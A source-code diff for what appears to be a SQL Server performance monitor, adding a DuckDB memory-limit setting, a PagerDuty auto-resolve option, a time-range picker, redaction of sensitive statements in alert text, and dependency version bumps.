+       start and the save dialogs say so. */
+    private int? _pendingDuckDbMemoryLimitGb;
+
+    private string MemoryLimitRestartNote() =>
+        _pendingDuckDbMemoryLimitGb is int gb && gb != Database.DuckDbInitializer.ConfiguredMemoryLimitGb
+            ? $"\n\nThe DuckDB memory limit ({gb} GB) takes effect after Lite restarts."
+            : "";
+
+    /// <summary>
+    /// Shows the stored value (not the running one), so a value saved earlier in this session and still waiting
+    /// for a restart is what the box shows when the window is opened again.
+    /// </summary>
+    private void LoadDuckDbMemoryLimit()
+    {
+        var settings = SettingsFileGuard.Read(System.IO.Path.Combine(App.ConfigDirectory, "settings.json"));
+        var gb = DuckDbMemoryLimitSetting.Resolve(
+            settings.State == SettingsFileState.Unreadable ? null : settings.Text,
+            DuckDbMemoryLimitSetting.PhysicalMemoryBytes(),
+            out _);
+        DuckDbMemoryLimitBox.Text = gb.ToString(CultureInfo.InvariantCulture);
+        DuckDbMemoryLimitHint.Text =
+            $"GB ({DuckDbMemoryLimitSetting.RangeText(DuckDbMemoryLimitSetting.PhysicalMemoryBytes())}; default "
+            + $"{DuckDbMemoryLimitSetting.DefaultGb}). Raise it if a tab reports DuckDB out of memory. "
+            + "Takes effect after Lite restarts.";
+    }
+
+    /// <summary>
+    /// Validates the DuckDB memory limit box and writes it to the shared document. An entry outside the range is
+    /// rejected with a message that states the range and the stored value is left as it was; returns false for
+    /// that so the save report says the page was written with an objection.
+    /// </summary>
+    private bool SaveDuckDbMemoryLimit(JsonNode root)
+    {
+        var physical = DuckDbMemoryLimitSetting.PhysicalMemoryBytes();
+        var text = DuckDbMemoryLimitBox.Text.Trim();
+
+        if (!int.TryParse(text, NumberStyles.None, CultureInfo.InvariantCulture, out var gb)
+            || !DuckDbMemoryLimitSetting.IsInRange(gb, physical))
+        {
+            MessageBox.Show(
+                $"The DuckDB memory limit must be {DuckDbMemoryLimitSetting.RangeText(physical)}. "
+                + $"\"{DuckDbMemoryLimitBox.Text}\" was not saved; the other settings were.",
+                "DuckDB memory limit", MessageBoxButton.OK, MessageBoxImage.Warning);
+            return false;
+        }
+
+        root[DuckDbMemoryLimitSetting.SettingsKey] = gb;
+        _pendingDuckDbMemoryLimitGb = gb;
+        return true;
+    }
+
     /// <summary>
     /// Mutates the MCP keys on the shared document (#2433). <c>Valid</c> means the port survived
     /// validation and the bind probe — NOT that a write happened, which is
@@ -421,15 +490,9 @@ it could be wrong about. */
 
     private void LoadDefaultTimeRange()
     {
-        DefaultTimeRangeCombo.SelectedIndex = App.DefaultTimeRangeHours switch
-        {
-            1 => 0,
-            4 => 1,
-            12 => 2,
-            24 => 3,
-            168 => 4,
-            _ => 1
-        };
+        /* The default is a preset or a calendar period: default_time_range, else the legacy hours key through
+           FromLegacyHours (#5562). The picker's zone is this machine's, since no server is in play here. */
+        DefaultTimeRangePicker.Value = App.DefaultTimeRange;
     }
 
     /* The local WriteSetting alias is gone with #2433: every Save* below now mutates the one document
@@ -439,19 +502,16 @@ private void LoadDefaultTimeRange()
 
     private void SaveDefaultTimeRange(JsonNode root)
     {
-        var hours = DefaultTimeRangeCombo.SelectedIndex switch
+        /* A typed or picked fixed range is not a default (it would reopen on a window that has moved on): the saved
+           default is left as it was. Everything else follows the one split the toolbar uses, so the two keys never disagree. */
+        var (rangeId, hours) = LiteTimeRange.SettingsFor(DefaultTimeRangePicker.Value);
+        if (rangeId == null && hours == null)
         {
-            0 => 1,
-            1 => 4,
-            2 => 12,
-            3 => 24,
-            4 => 168,
-            _ => 4
-        };
-
-        App.DefaultTimeRangeHours = hours;
+            return;
+        }
 
-        root["default_time_range_hours"] = hours;
+        App.ApplyDefaultTimeRange(rangeId, hours);
+        App.WriteDefaultTimeRange(root, rangeId, hours);
     }
 
     private void CopyMcpCommandButton_Click(object sender, RoutedEventArgs e)
@@ -641,7 +701,6 @@ private void LoadAlertSettings()
         AlertDeadlockCheckBox.IsChecked = App.AlertDeadlockEnabled;
         AlertDeadlockThresholdBox.Text = App.AlertDeadlockThreshold.ToString();
         AlertPoisonWaitCheckBox.IsChecked = App.AlertPoisonWaitEnabled;
-        AlertPoisonWaitThresholdBox.Text = App.AlertPoisonWaitThresholdMs.ToString();
         AlertLongRunningQueryCheckBox.IsChecked = App.AlertLongRunningQueryEnabled;
         AlertLongRunningQueryThresholdBox.Text = App.AlertLongRunningQueryThresholdMinutes.ToString();
         AlertLongRunningQueryMaxResultsBox.Text = App.AlertLongRunningQueryMaxResults.ToString();
@@ -731,8 +790,6 @@ make the gate impossible to turn back off once enabled. */
         if (int.TryParse(AlertDeadlockThresholdBox.Text, out var deadlock) && deadlock > 0)
             App.AlertDeadlockThreshold = deadlock;
         App.AlertPoisonWaitEnabled = AlertPoisonWaitCheckBox.IsChecked == true;
-        if (int.TryParse(AlertPoisonWaitThresholdBox.Text, out var poisonWait) && poisonWait > 0)
-            App.AlertPoisonWaitThresholdMs = poisonWait;
         App.AlertLongRunningQueryEnabled = AlertLongRunningQueryCheckBox.IsChecked == true;
         if (int.TryParse(AlertLongRunningQueryThresholdBox.Text, out var lrq) && lrq > 0)
             App.AlertLongRunningQueryThresholdMinutes = lrq;
@@ -915,7 +972,6 @@ private void RestoreAlertDefaultsButton_Click(object sender, RoutedEventArgs e)
         AlertBlockingThresholdBox.Text = "1";
         AlertBlockingWaitSecondsBox.Text = "0";
         AlertDeadlockThresholdBox.Text = "1";
-        AlertPoisonWaitThresholdBox.Text = "500";
         AlertLongRunningQueryThresholdBox.Text = "30";
         AlertLongRunningQueryMaxResultsBox.Text = "5";
         AlertTempDbSpaceThresholdBox.Text = "80";
@@ -1015,10 +1071,6 @@ private void UpdateAlertControlStates()
         AlertDeadlockCheckBox.IsEnabled = enabled;
         AlertDeadlockThresholdBox.IsEnabled = enabled;
         AlertPoisonWaitCheckBox.IsEnabled = enabled;
-        /* #3539 A4: the poison-wait ms box is retired (nothing reads it) and stays disabled regardless of the
-           master switch — the XAML sets IsEnabled="False", and this loop must not re-enable it on load or
-           on toggle, or the operator is back to tuning a number the engine ignores. */
-        AlertPoisonWaitThresholdBox.IsEnabled = false;
         AlertLongRunningQueryCheckBox.IsEnabled = enabled;
         AlertLongRunningQueryThresholdBox.IsEnabled = enabled;
         AlertLongRunningQueryMaxResultsBox.IsEnabled = enabled;
@@ -1217,6 +1269,7 @@ rather than a blank box they have to guess the shape of. */
         PagerDutyWebhookEnabledCheckBox.IsChecked = App.PagerDutyWebhookEnabled;
         PagerDutyRoutingKeyBox.Text = App.PagerDutyRoutingKey;
         PagerDutyEuRegionCheckBox.IsChecked = App.PagerDutyUseEuRegion;
+        PagerDutyAutoResolveCheckBox.IsChecked = App.PagerDutyAutoResolve;
         PagerDutyProxyAddressBox.Text = App.PagerDutyProxyAddress;
         UpdateTeamsControlStates();
         UpdateSlackControlStates();
@@ -1263,6 +1316,7 @@ NOT blocked — a plaintext POST to a trusted LAN listener is legitimate. */
         App.PagerDutyWebhookEnabled = PagerDutyWebhookEnabledCheckBox.IsChecked == true;
         App.PagerDutyRoutingKey = PagerDutyRoutingKeyBox.Text?.Trim() ?? "";
         App.PagerDutyUseEuRegion = PagerDutyEuRegionCheckBox.IsChecked == true;
+        App.PagerDutyAutoResolve = PagerDutyAutoResolveCheckBox.IsChecked == true;
         App.PagerDutyProxyAddress = PagerDutyProxyAddressBox.Text?.Trim() ?? "";
 
         /* Save webhook URLs to Credential Manager instead of settings.json. The generic channel's headers
@@ -1289,6 +1343,7 @@ three are safe to persist in settings.json (#1506). The PagerDuty routing key is
         root["pagerduty_webhook_enabled"] = App.PagerDutyWebhookEnabled;
         root["pagerduty_use_eu_region"] = App.PagerDutyUseEuRegion;
         root["pagerduty_proxy_address"] = App.PagerDutyProxyAddress;
+        root["pagerduty_auto_resolve"] = App.PagerDutyAutoResolve;
 
         /* Remove legacy plaintext webhook URLs from settings.json */
         if (root is JsonObject obj)
@@ -1365,6 +1420,7 @@ private void UpdatePagerDutyControlStates()
         bool enabled = PagerDutyWebhookEnabledCheckBox.IsChecked == true;
         PagerDutyRoutingKeyBox.IsEnabled = enabled;
         PagerDutyEuRegionCheckBox.IsEnabled = enabled;
+        PagerDutyAutoResolveCheckBox.IsEnabled = enabled;
         PagerDutyProxyAddressBox.IsEnabled = enabled;
         TestPagerDutyButton.IsEnabled = enabled;
     }
diff --git a/Lite/Windows/WaitDrillDownWindow.xaml.cs b/Lite/Windows/WaitDrillDownWindow.xaml.cs
index 8f1a9170be..cb0d43688e 100644
--- a/Lite/Windows/WaitDrillDownWindow.xaml.cs
+++ b/Lite/Windows/WaitDrillDownWindow.xaml.cs
@@ -66,10 +66,11 @@ public WaitDrillDownWindow(
         _planActions = new PlanNavigationController(
             this,
             async (xml, label, qt) => await PlanViewerWindow.ShowPlanAsync(
-                this, xml, label, qt, await _dataService.GetServerMetadataForPlanAnalysisAsync(_serverId)),
-            (db, qt, est, iso, ct) => ActualPlanExecutor.ExecuteForActualPlanAsync(
+                this, xml, label, qt, await System.Threading.Tasks.Task.Run(() => _dataService.GetServerMetadataForPlanAnalysisAsync(_serverId))),
+            /* #4348: the re-run's plan comes from the monitored server, not the collected rows, so it is judged here. */
+            async (db, qt, est, iso, ct) => await LivePlanDisplay.FilterAsync(await ActualPlanExecutor.ExecuteForActualPlanAsync(
                 _connectionString ?? "", db, qt, est, iso, isAzureSqlDb: false, timeoutSeconds: 0, ct,
-                productName: "SQL Server Performance Monitor Lite"),
+                productName: "SQL Server Performance Monitor Lite")),
             "the monitored server");
 
         _filterManager = new DataGridFilterManager<QuerySnapshotRow>(ResultsDataGrid);
@@ -110,14 +111,16 @@ private async System.Threading.Tasks.Task LoadDataAsync()
         }
         catch (Exception ex)
         {
-            SummaryText.Text = $"Error: {ex.Message}";
+            SummaryText.Text = $"Error: {DuckDbMemoryLimitSetting.Describe(ex)}";
         }
     }
 
+    /* #5457: the three loads below read on the pool, not the dispatcher: each read takes the store read lock, which an archive or
+       compaction pass can hold, and the window would stop pumping input for as long. */
     private async System.Threading.Tasks.Task LoadDirectDataAsync(WaitClassification classification)
     {
-        var data = await _dataService.GetQuerySnapshotsByWaitTypeAsync(
-            _serverId, _waitType, _hoursBack, _fromDate, _toDate);
+        var data = await System.Threading.Tasks.Task.Run(() => _dataService.GetQuerySnapshotsByWaitTypeAsync(
+            _serverId, _waitType, _hoursBack, _fromDate, _toDate));
 
         if (data.Count == 0)
         {
@@ -141,8 +144,8 @@ private async System.Threading.Tasks.Task LoadDirectDataAsync(WaitClassification
     private async System.Threading.Tasks.Task LoadCorrelatedDataAsync(WaitClassification classification)
     {
         // Fetch ALL queries in the time range (no wait type filter)
-        var data = await _dataService.GetAllQuerySnapshotsInRangeAsync(
-            _serverId, _hoursBack, _fromDate, _toDate);
+        var data = await System.Threading.Tasks.Task.Run(() => _dataService.GetAllQuerySnapshotsInRangeAsync(
+            _serverId, _hoursBack, _fromDate, _toDate));
 
         if (data.Count == 0)
         {
@@ -163,8 +166,8 @@ private async System.Threading.Tasks.Task LoadCorrelatedDataAsync(WaitClassifica
     private async System.Threading.Tasks.Task LoadChainDataAsync(WaitClassification classification)
     {
         // Get waiters with the target wait type
-        var waiters = await _dataService.GetQuerySnapshotsByWaitTypeAsync(
-            _serverId, _waitType, _hoursBack, _fromDate, _toDate);
+        var waiters = await System.Threading.Tasks.Task.Run(() => _dataService.GetQuerySnapshotsByWaitTypeAsync(
+            _serverId, _waitType, _hoursBack, _fromDate, _toDate));
 
         if (waiters.Count == 0)
         {
@@ -173,8 +176,8 @@ private async System.Threading.Tasks.Task LoadChainDataAsync(WaitClassification
         }
 
         // Get all snapshots in range for chain walking
-        var allSnapshots = await _dataService.GetAllQuerySnapshotsInRangeAsync(
-            _serverId, _hoursBack, _fromDate, _toDate);
+        var allSnapshots = await System.Threading.Tasks.Task.Run(() => _dataService.GetAllQuerySnapshotsInRangeAsync(
+            _serverId, _hoursBack, _fromDate, _toDate));
 
         // Map to SnapshotInfo for the chain walker
         var waiterInfos = waiters.Select(ToSnapshotInfo).ToList();
diff --git a/Lite/config/collection_schedule.json b/Lite/config/collection_schedule.json
index 9d0acdc1be..30242c41d5 100644
--- a/Lite/config/collection_schedule.json
+++ b/Lite/config/collection_schedule.json
@@ -17,7 +17,7 @@
     { "name": "memory_grant_stats", "enabled": true, "frequency_minutes": 1, "retention_days": 30, "description": "Memory grant statistics from sys.dm_exec_query_memory_grants" },
     { "name": "waiting_tasks", "enabled": true, "frequency_minutes": 1, "retention_days": 7, "description": "Point-in-time waiting tasks from sys.dm_os_waiting_tasks" },
     { "name": "blocked_process_report", "enabled": true, "frequency_minutes": 1, "retention_days": 30, "description": "Blocked process reports from XE ring buffer session (opt-out)" },
-    { "name": "long_query_completions", "enabled": false, "frequency_minutes": 1, "retention_days": 30, "description": "Long-running query completions from a dedicated XE ring buffer session. OPT-IN, default OFF (#1496)" },
+    { "name": "long_query_completions", "enabled": false, "frequency_minutes": 1, "retention_days": 30, "description": "Long-running query completions from a dedicated XE ring buffer session. OPT-IN, default OFF (#1496). On Azure SQL Database the session is created in each monitored database." },
     { "name": "database_scoped_config", "enabled": true, "frequency_minutes": 0, "retention_days": 30, "description": "Database-scoped configurations (on-load only)" },
     { "name": "trace_flags", "enabled": true, "frequency_minutes": 0, "retention_days": 30, "description": "Active trace flags via DBCC TRACESTATUS (on-load only)" },
     { "name": "running_jobs", "enabled": true, "frequency_minutes": 5, "retention_days": 7, "description": "Currently running SQL Agent jobs with duration comparison" },
diff --git a/Lite/config/settings.sample.json b/Lite/config/settings.sample.json
index b13d320841..9b49d37754 100644
--- a/Lite/config/settings.sample.json
+++ b/Lite/config/settings.sample.json
@@ -148,7 +148,8 @@
   "minimize_to_tray": true,
   "time_display_mode": "ServerTime",   // "ServerTime" | "LocalTime" | "UTC"
   "color_theme": "Dark",               // "Dark" | "Light" | "CoolBreeze"
-  "default_time_range_hours": 4,       // initial range on every chart
+  "default_time_range_hours": 4,       // initial range on every chart, in whole hours (older builds read only this)
+  "default_time_range": "",            // optional (#5562), wins over the hours key: "30m" | "2d" | "1mo" | "today" | "previous-week" ... ("" = use the hours key)
 
   // ---- Auto-refresh (#3479) ------------------------------------------------------------------------
   // The server-tab toolbar's Auto-refresh checkbox and interval picker, written by the app when
@@ -200,6 +201,7 @@
   "pagerduty_webhook_enabled": false,
   "pagerduty_use_eu_region": false,
   "pagerduty_proxy_address": "",
+  "pagerduty_auto_resolve": false,
 
   // ---- Legacy plaintext webhook URLs (#1506) — read once, then migrated ---------------------------------
   // DO NOT ADD THESE. They are here because settings.json files written before #1506 have
diff --git a/Lite/packages.lock.json b/Lite/packages.lock.json
index 1204fc27b2..aa2752229b 100644
--- a/Lite/packages.lock.json
+++ b/Lite/packages.lock.json
@@ -32,13 +32,13 @@
       },
       "Microsoft.Data.SqlClient": {
         "type": "Direct",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
@@ -49,14 +49,14 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Azure": {
         "type": "Direct",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "ZMfBGoTa2D1VugOSh8y6Klv9mh8hefgjygAFiSHAl/1dw+EehRrBl6YFbB8IX27XUHj1tQ0I+bdGMZ5DtwMOlw==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "3/Z+6JJKGUw8+shNtftUSGOagt7XCbuhXknZjzXQfDr5aA4lUEMtU/MMNSiwMIrkviYslNKvFh1yWOArudDxQA==",
         "dependencies": {
           "Azure.Core": "1.51.1",
           "Azure.Identity": "1.18.0",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "8.0.1",
           "Microsoft.Identity.Client": "4.84.2",
           "Microsoft.Identity.Client.Broker": "4.84.2"
@@ -137,9 +137,9 @@
       },
       "Velopack": {
         "type": "Direct",
-        "requested": "[1.2.158, )",
-        "resolved": "1.2.158",
-        "contentHash": "wQN38beVrAf0WzFMnZtl7UmwxqwaJ7xVYypqITdOI4YUTYch2UvE+xAjg9msfaitVDtgfWeIcGsjRNQ65C03ZQ=="
+        "requested": "[1.2.161, )",
+        "resolved": "1.2.161",
+        "contentHash": "OpHNacIumnkhaaX3ZlQ/TCR4YPOJvud2/PAOoWb6o+mIrLwIVA275I5wAgt4q/1O2VrJeDwR1qFQyqzG4lUArg=="
       },
       "Apache.Arrow": {
         "type": "Transitive",
@@ -217,16 +217,16 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Abstractions": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "8xqe8rxLEJealAw21Rh/w+Kis4TtgAZQ+e7HrTkG/gOeiy3CbCtcMXJr3P5H9txhUQNNxkoR9qy1FIk5T85FSg==",
+        "resolved": "7.1.1",
+        "contentHash": "qP/zUOCJwfKqWNC9o+TWqltfNbLnZi1APNpJZgj0yeEJhoI+h+eoQLX+331yZHNOlDxdafZLP5arW/yrS1jAAw==",
         "dependencies": {
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)"
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)"
         }
       },
       "Microsoft.Data.SqlClient.Internal.Logging": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "z+uzJ+/xqZlYSlv0slMhiHd3TRZr20ijZmjUG2qOaNjKzMMO5cx8itHQ0s/YguqMq/8BMlXZe5n6XSgswe+73g=="
+        "resolved": "7.1.1",
+        "contentHash": "bVqbATLnHQngue7U9K7GRnzvfdDa7IyiBU2vijfU2vBMBSZrAnQp/wXqNSfaVonckSaMXUk07wfujTqy9IVMdw=="
       },
       "Microsoft.Data.SqlClient.SNI.runtime": {
         "type": "Transitive",
@@ -428,7 +428,8 @@
           "Microsoft.Extensions.DependencyInjection.Abstractions": "10.0.12",
           "Microsoft.Extensions.Logging": "10.0.12",
           "Microsoft.Extensions.Logging.Abstractions": "10.0.12",
-          "Microsoft.Extensions.Options": "10.0.12"
+          "Microsoft.Extensions.Options": "10.0.12",
+          "System.Diagnostics.EventLog": "10.0.12"
         }
       },
       "Microsoft.Extensions.Logging.EventSource": {
@@ -730,6 +731,11 @@
           "System.Memory.Data": "10.0.1"
         }
       },
+      "System.Diagnostics.EventLog": {
+        "type": "Transitive",
+        "resolved": "10.0.12",
+        "contentHash": "sOZM+VyRj1pg/ItlHsvrSbjws6oGqZveTzTNBGZ9ziwRDyKsOF3ub6vhvOdxotCIqtlnyHAIwP5sLNvgiZC+pQ=="
+      },
       "System.IdentityModel.Tokens.Jwt": {
         "type": "Transitive",
         "resolved": "8.16.0",
@@ -752,8 +758,8 @@
       "performancemonitor.alerting": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )"
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.Notifications": "[3.9.0, )"
         }
       },
       "performancemonitor.analysis": {
@@ -762,7 +768,7 @@
       "performancemonitor.collectors": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )"
+          "PerformanceMonitor.Common": "[3.9.0, )"
         }
       },
       "performancemonitor.common": {
@@ -777,21 +783,22 @@
         "type": "Project",
         "dependencies": {
           "Microsoft.Extensions.Logging.Abstractions": "[10.0.12, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )"
+          "PerformanceMonitor.Analysis": "[3.9.0, )"
         }
       },
       "performancemonitor.plananalysis": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )"
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "System.Security.Cryptography.ProtectedData": "[10.0.11, )"
         }
       },
       "performancemonitor.ui": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )",
           "ScottPlot.WPF": "[5.1.59, )"
         }
       },
@@ -825,6 +832,12 @@
         "dependencies": {
           "Microsoft.Extensions.DependencyInjection.Abstractions": "10.0.12"
         }
+      },
+      "System.Security.Cryptography.ProtectedData": {
+        "type": "CentralTransitive",
+        "requested": "[10.0.12, )",
+        "resolved": "10.0.11",
+        "contentHash": "PNoxCTPb+Tlux+GJyq4c89ddYdpioVSqfGx8pqOF6shCSKwUNNctXhQtRkCICjbJmGrJJsW8NY52kVYO/b8mlQ=="
       }
     },
     "net10.0-windows7.0/win-x64": {
@@ -836,13 +849,13 @@
       },
       "Microsoft.Data.SqlClient": {
         "type": "Direct",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
@@ -895,6 +908,11 @@
         "type": "Transitive",
         "resolved": "3.119.0",
         "contentHash": "IwC9yx36lOdXVT2DjgmWHl1qkVspfj8ctd4+li8CNnvqdfaTolXCOh6TLznURcPAvzatx9K/tLOB7zT6T8EA9w=="
+      },
+      "System.Diagnostics.EventLog": {
+        "type": "Transitive",
+        "resolved": "10.0.12",
+        "contentHash": "sOZM+VyRj1pg/ItlHsvrSbjws6oGqZveTzTNBGZ9ziwRDyKsOF3ub6vhvOdxotCIqtlnyHAIwP5sLNvgiZC+pQ=="
       }
     }
   }
diff --git a/PerformanceMonitor.Alerting/AgentJobStepQuery.cs b/PerformanceMonitor.Alerting/AgentJobStepQuery.cs
index fa701af67e..55be13b74f 100644
--- a/PerformanceMonitor.Alerting/AgentJobStepQuery.cs
+++ b/PerformanceMonitor.Alerting/AgentJobStepQuery.cs
@@ -177,7 +177,7 @@ public static string BuildSql(int pairCount)
         return @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     job_id = CONVERT(varchar(36), j.job_id),
     step_id = k.step_id,
     job_name = j.name,
diff --git a/PerformanceMonitor.Alerting/AlertContextBuilders.cs b/PerformanceMonitor.Alerting/AlertContextBuilders.cs
index 507f0ad3b9..32985abb21 100644
--- a/PerformanceMonitor.Alerting/AlertContextBuilders.cs
+++ b/PerformanceMonitor.Alerting/AlertContextBuilders.cs
@@ -11,6 +11,7 @@
 using System.Globalization;
 using System.Linq;
 using System.Text;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Notifications;
 
 namespace PerformanceMonitor.Alerting;
@@ -79,9 +80,9 @@ public static class AlertContextBuilders
             if (!string.IsNullOrEmpty(g.Database))
                 item.Fields.Add(("Database", g.Database));
             if (!string.IsNullOrEmpty(g.BlockedQuery))
-                item.Fields.Add(("Blocked Query", TruncateText(g.BlockedQuery)));
+                item.Fields.Add(("Blocked Query", TruncateStatement(g.BlockedQuery)));
             if (!string.IsNullOrEmpty(g.BlockingQuery))
-                item.Fields.Add(("Blocking Query", TruncateText(g.BlockingQuery)));
+                item.Fields.Add(("Blocking Query", TruncateStatement(g.BlockingQuery)));
             item.Fields.Add(("Wait Range", g.Incident.WaitRange ?? g.MaxWaitMs.ToString()));
             context.Details.Add(item);
         }
@@ -171,7 +172,7 @@ database set (#2109) both come off the graph. */
             if (p.Databases.Count > 0)
                 item.Fields.Add(("Database", string.Join(", ", p.Databases)));
             if (!string.IsNullOrEmpty(p.Row.VictimSqlText))
-                item.Fields.Add(("Victim SQL", TruncateText(p.Row.VictimSqlText)));
+                item.Fields.Add(("Victim SQL", TruncateStatement(p.Row.VictimSqlText)));
             if (!string.IsNullOrEmpty(p.Row.ProcessSummary))
                 item.Fields.Add(("Processes", p.Row.ProcessSummary));
             /* #3442: the same per-party facts the fingerprinted item carries. Both render paths take
@@ -510,7 +511,10 @@ pair only when the object did not resolve. */
                 e.HasReportXml
                     ? new AlertIncidentAttachment(
                         e.BlockedProcessReportXml, AlertIncidentAttachment.BlockedProcessReportFileName)
-                    : null)));
+                    : null)),
+            /* #5320: the card's statement cut judges the whole statement first. Identity reads the raw text,
+               so a withheld statement does not change which incident a sample belongs to. */
+            statement => TruncateStatement(statement));
 
     /* The graph parse, shared by the render path and #2216's observation path. The fingerprint's object
        set, the #2109 Database fact and #3442's per-party facts all come off the same pass, so parsing once
@@ -580,7 +584,7 @@ fact ahead of one of those would change which value a consumer resolves without
     {
         var f = new List<AlertIncidentField>();
         if (databases.Count > 0) f.Add(new AlertIncidentField("Database", string.Join(", ", databases)));
-        if (!string.IsNullOrWhiteSpace(victimSql)) f.Add(new AlertIncidentField("Victim SQL", TruncateText(victimSql)));
+        if (!string.IsNullOrWhiteSpace(victimSql)) f.Add(new AlertIncidentField("Victim SQL", TruncateStatement(victimSql!)));
         if (!string.IsNullOrWhiteSpace(processes)) f.Add(new AlertIncidentField("Processes", processes!));
         foreach (var (label, value) in parties) f.Add(new AlertIncidentField(label, value));
         return f.Count > 0 ? f : null;
@@ -675,7 +679,7 @@ incident it always did. Pinned in the owning suites rather than merely stated. *
                         : $"(name unresolved) Job 0x{AgentJobStepQuery.ToProgramNameHex(jobKey.JobId)}, step {jobKey.StepId}"));
             }
             if (!string.IsNullOrEmpty(q.QueryText))
-                item.Fields.Add(("Query", TruncateText(q.QueryText)));
+                item.Fields.Add(("Query", TruncateStatement(q.QueryText)));
             item.Fields.Add(("CPU Time", $"{q.CpuTimeMs:N0} ms"));
             item.Fields.Add(("Reads", $"{q.Reads:N0}"));
             item.Fields.Add(("Writes", $"{q.Writes:N0}"));
@@ -1217,6 +1221,19 @@ public static string TruncateText(string text, int maxLength = 300)
         return text.Length <= maxLength ? text : text.Substring(0, maxLength) + "...";
     }
 
+    /// <summary>
+    /// <see cref="TruncateText"/> for statement text (#5320): the statement is judged WHOLE by
+    /// <see cref="SensitiveStatements.Text"/> and the result is cut, never the other way round. A judge that sees
+    /// an already-cut statement misses a value whose naming text (a <c>CREATE LOGIN</c> head, a
+    /// <c>PASSWORD =</c> keyword) lies past the cut. A withheld statement reads as
+    /// <see cref="SensitiveStatements.PlaceholderText"/>, which is shorter than any cut.
+    /// </summary>
+    public static string TruncateStatement(string text, int maxLength = 300)
+    {
+        var judged = SensitiveStatements.Text(text) ?? "";
+        return TruncateText(judged, maxLength);
+    }
+
     private static string FormatDuration(long seconds)
     {
         if (seconds < 60) return $"{seconds}s";
diff --git a/PerformanceMonitor.Alerting/AlertEngine.cs b/PerformanceMonitor.Alerting/AlertEngine.cs
index af3bebf4c5..c0f2d5cb0c 100644
--- a/PerformanceMonitor.Alerting/AlertEngine.cs
+++ b/PerformanceMonitor.Alerting/AlertEngine.cs
@@ -1837,7 +1837,7 @@ displayed top N keeps its total instead of restarting. */
                     var worst = longRunning[0];                                     /* :353 */
                     var elapsedMinutes = worst.ElapsedSeconds / 60;                 /* :354 — integer division, exactly Lite */
                     /* :355-356 — the query-text preview feeds ShortMessage (the toast body). */
-                    var preview = AlertContextBuilders.TruncateText(worst.QueryText, 80);
+                    var preview = AlertContextBuilders.TruncateStatement(worst.QueryText, 80);
                     var previewSuffix = string.IsNullOrEmpty(preview) ? "" : $" — {preview}";
 
                     var muteCtx = new AlertMuteContext                              /* :358-364 */
